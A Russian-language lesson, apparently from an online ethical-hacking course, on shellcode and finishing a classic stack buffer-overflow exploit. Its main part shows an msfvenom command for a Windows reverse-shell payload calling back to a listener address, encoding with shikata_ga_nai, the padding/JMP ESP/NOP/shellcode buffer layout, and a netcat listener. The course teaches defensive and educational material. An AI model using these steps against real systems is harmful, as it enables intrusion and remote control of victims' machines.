Шелл-код и эксплуатация
Получение оболочки
«Шелл-код и эксплуатация» — бесплатный урок Ethical Hacking Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Ethical Hacking Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Ethical Hacking Academy содержит 4 уроков всего.
Что такое шелл-код
Шелл-код — небольшой фрагмент машинного кода, выполняющий определённое действие после запуска; классический пример — создание командной оболочки. Это полезная нагрузка, на которую Вы перенаправляете выполнение после получения управления EIP.
Он записывается в виде необработанных байтов (опкодов), поэтому его можно напрямую внедрить в память.
Типы полезных нагрузок
К распространённым целям полезной нагрузки относятся:
- Привязывающая оболочка: открывает порт для прослушивания на атакуемой системе.
- Обратная оболочка: подключается обратно к атакующему (лучше работает через межсетевые экраны и NAT).
- Выполнение команды: запускает одну команду, например добавление пользователя.
В реальных атаках чаще всего используются обратные оболочки.
Генерация с помощью msfvenom
msfvenom генерирует полезные нагрузки. Вы указываете тип полезной нагрузки, адрес и порт прослушивания, формат вывода и недопустимые символы, которых следует избегать.
Флаг -b исключает недопустимые символы, а -f задаёт формат вывода.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cЗачем нужна кодировка
Необработанный шелл-код часто содержит недопустимые символы (например, нулевые байты). Кодировщик преобразует полезную нагрузку, чтобы избежать этих байтов, а затем добавляет в начало декодирующую заглушку, которая восстанавливает исходный код во время выполнения.
Классический кодировщик — x86/shikata_ga_nai.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"Декодировщик и самомодификация
Закодированный шелл-код декодирует себя в памяти перед запуском. Для этой самомодификации требуется небольшой запас места в стеке, поэтому цепочка NOP и достаточно большой буфер полезны.
Иногда сначала необходимо скорректировать ESP, чтобы декодировщик не повредил собственный код.
Сборка окончательного эксплойта
Полный буфер эксплойта состоит из следующих частей:
- Заполнение до смещения.
- Адрес возврата JMP ESP.
- Цепочка NOP.
- Закодированный шелл-код.
Отправьте эти данные в уязвимое поле, и выполнение перейдёт к Вашей полезной нагрузке.
buf = "A"*offset + ret + "\x90"*16 + shellcodeНастройка слушателя
Для обратной оболочки необходимо запустить прослушивание на своей машине до запуска эксплойта. Простой слушатель Netcat принимает входящее соединение.
Для многоэтапных полезных нагрузок вместо этого используйте multi/handler из Metasploit.
nc -lvnp 4444Запуск эксплойта
Когда слушатель готов, отправьте сформированный буфер цели. Если всё совпадёт, шелл-код выполнится, и слушатель получит оболочку на машине-жертве.
Теперь у Вас есть возможность выполнять команды с правами уязвимого процесса.
python exploit.py 10.0.0.20 9999Устранение неполадок
Если ничего не работает, проверьте распространённые причины:
- В шелл-код или адрес возврата попал неподходящий символ.
- NOP sled слишком короток.
- Декодеру не хватило места в стеке (скорректируйте ESP).
- Неправильное смещение или порядок байтов.
Методичная отладка в отладчике помогает изолировать проблему.
За пределами классического переполнения
Если DEP и ASLR включены, обычный шелл-код в стеке не выполнится. В современных атаках применяют программирование, ориентированное на возврат (ROP), чтобы объединять существующие фрагменты кода, а также утечки информации для обхода ASLR.
В этом курсе заложена основа, на которой строятся эти продвинутые методы.
Многоэтапная и цельная нагрузка
Полезные нагрузки бывают двух видов. Цельная полезная нагрузка содержит весь шелл-код в одном блоке. Многоэтапная полезная нагрузка отправляет небольшой начальный фрагмент, который загружает остальную часть с Вашего обработчика.
Многоэтапные полезные нагрузки помещаются в меньшие буферы, но для доставки второго этапа им нужен соответствующий обработчик, например multi/handler из Metasploit.
Быстрая проверка
Вспомните, почему шелл-код часто кодируют.
Итоги
Вы завершили цепочку эксплуатации:
- Шелл-код — это полезная нагрузка; наиболее практичны обратные оболочки.
- Сгенерируйте и закодируйте его с помощью msfvenom, чтобы избежать неподходящих символов.
- Соберите заполнение + JMP ESP + NOP sled + шелл-код, запустите слушатель и выполните атаку.
- Для современных целей нужны ROP и утечки информации, чтобы обойти DEP/ASLR.
Вы завершили курс по эксплуатации переполнения буфера.
Часто задаваемые вопросы
Урок «Шелл-код и эксплуатация» бесплатный?
Да — полный текст урока «Шелл-код и эксплуатация» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Ethical Hacking Academy, подпишись на CoddyKit PRO. Курс Ethical Hacking Academy содержит 4 уроков всего.
Чему я научусь в уроке «Шелл-код и эксплуатация»?
Получение оболочки Ты практикуешь Ethical Hacking Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать Ethical Hacking Academy?
Предыдущий опыт не требуется. Ethical Hacking Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.
Сколько времени занимает урок «Шелл-код и эксплуатация»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке Ethical Hacking Academy?
Да. Каждый урок Ethical Hacking Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Память и стек
- Фаззинг для поиска сбоев
- Управление EIP
- Шелл-код и эксплуатация